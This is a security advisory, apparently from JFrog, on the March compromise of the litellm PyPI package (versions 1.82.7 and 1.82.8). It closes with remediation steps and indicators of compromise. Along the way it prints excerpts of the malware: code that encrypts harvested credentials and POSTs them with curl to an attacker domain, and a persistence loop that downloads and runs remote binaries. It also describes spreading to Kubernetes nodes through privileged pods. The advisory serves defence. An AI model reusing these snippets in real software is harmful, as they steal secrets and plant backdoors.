Popular litellm Python package is the latest victim of TeamPCP's ongoing supply chain attack

The JFrog security research team has identified a compromise in the widely used litellm PyPI package. As of now, the entire package (all versions) has been quarantined by PyPI. This ongoing compromise is also being tracked by the open source community.

litellm is an open-source Python library that provides a unified interface to call over 100 different LLM APIs (like OpenAI, Anthropic, and VertexAI) using the same input/output format. The package is extremely popular, boasting over 480M lifetime downloads.

On March 24th, new versions of litellm were uploaded to PyPI - litellm 1.82.7 and 1.82.8. This version contains a malicious payload in both proxy_server.py file and litellm_init.pth. This compromise is probably a direct result of litellm‘s usage of trivy in their CI/CD, which was also compromised recently.

The C2 addresses and payload have exact similarities to the payload seen on recent TeamPCP npm libraries compromise, containing the same python backdoor script.

Attack Chain

The malware operates in three stages:

Stage 1 - Bootstrap (planted code in litellm_init.pth and proxy_server.py)

A base64-encoded payload is embedded directly in both proxy_server.py file and litellm_init.pth
On import/execution, it decodes the payload to a temp file and runs it via subprocess.run([sys.executable, p]). This immediately triggers the next stage.

try:
    subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
    subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
    subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)
    subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)

    subprocess.run([
        "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
        "https://models[.]litellm[.]cloud/",
        "-H", "Content-Type: application/octet-stream",
        "-H", "X-Filename: tpcp.tar.gz",
        "--data-binary", f"@{bn}"
    ], check=True, stderr=subprocess.DEVNULL)
except Exception:
    pass

It then proceeds to execute the collector as a subprocess, Then it captures collector’s stdout into a file, encrypts it and sends to the c2c server hxxrs[:]//models[.]litellm[.]cloud/
It uses asymmetric encryption so only the attacker (who holds the private key) can decrypt.

Stage 2 - Credential Harvester (decoded from B64_SCRIPT)

The code performs a comprehensive sweep of the host, collecting everything listed in the next section. Furthermore, if the code is running inside Kubernetes with a service account token available, it enumerates all K8s nodes and deploys a privileged pod on every node in the kube-system namespace. Each pod mounts the host filesystem at / and drops the Stage 3 persistence backdoor via chroot.

On the local host, installs the Stage 3 backdoor as a systemd user service - sysmon.service.

Stage 3 - Persistent Backdoor (sysmon.py)

The backdoor is Installed to ~/.config/sysmon/sysmon.py, registered as a systemd user service named "System Telemetry Service".

req = urllib.request.Request("https[:]//checkmarx[.]zone/raw", headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
    link = r.read().decode('utf-8').strip()
    if link and "youtube.com" not in l:
       urllib.request.urlretrieve(l, TARGET)
       os.chmod(TARGET, 0o755)
       subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)

After an initial 300-second (5-minute) sleep, enters an infinite loop:

• Polls hxxrs[:]//checkmarx[.]zone/raw every 3000 seconds (~50 min) for a download URL.
• Downloads the binary to /tmp/pglog, marks it executable, and runs it in a detached session then checks whether it's a youtube link, the similar way it was doing at the previous deployment in recent supply chain attacks
• Tracks the last-fetched URL in /tmp/.pg_state to avoid redundant downloads.

Similar to the previous attacks, the server returns the url link as a placeholder for the real payload.

This gives the attacker the ability to push arbitrary second-stage payloads at any time.

What It Steals and Where It Sends Data

Exfiltration Destination

All collected data is encrypted (AES-256-CBC + RSA-4096 envelope) and POSTed to hxxps[:]//models[.]litellm[.]cloud/
The domain models[.]litellm[.]cloud is attacker-controlled, designed to look like a legitimate litellm infrastructure domain.

Data Collected

Remediation Plan

Immediate Actions (Contain)

1. Identify affected systems: Audit all environments for litellm versions 1.82.7 or 1.82.8 (pip show litellm). If found, Downgrade litellm to a verified clean version.
2. Isolate affected hosts: Quarantine any system that ran these versions. Assume full credential compromise.

3. Kill persistence:

   • Stop and disable the systemd service: systemctl --user stop sysmon.service && systemctl --user disable sysmon.service
   • Remove ~/.config/sysmon/sysmon.py and ~/.config/systemd/user/sysmon.service
   • Kill any running /tmp/pglog process
   • Remove /tmp/pglog and /tmp/.pg_state

4. Block C2 domains at network/DNS level:

   • models[.]litellm[.]cloud
   • checkmarx[.]zone
5. K8s-specific: Check for rogue pods named node-setup-* in kube-system namespace. Delete them. Check all nodes for the persistence backdoor at /root/.config/sysmon/.
6. Revoke and Rotate all exposed credentials from the environment
7. Scan for additional persistence: The downloaded payload (/tmp/pglog) is unknown; a full host forensic analysis is recommended.

Conclusions

As we've seen in the past week, many libraries were compromised with the same payload. The attack is ongoing and has the possibility to target more repositories and ecosystems in the future. Users must be aware of that, and be careful with their software supply chain updates.

The payload as before is broad and diverse, targeting many environments and uses C2 addresses with names and similarities to the same exact library, and to legitimate companies, confusing security incident responders.

This package is already detected by JFrog Xray and JFrog Curation, under the Xray ID listed in the IoC section below.

Indicators of Compromise (IOCs)

1. C2 address - hxxrs[:]//models[.]litellm[.]cloud/
2. Payload fetch URL - hxxrs[:]//checkmarx[.]zone/raw
3. litellm (PyPI) - 1.82.7, 1.82.8 (XRAY-955589)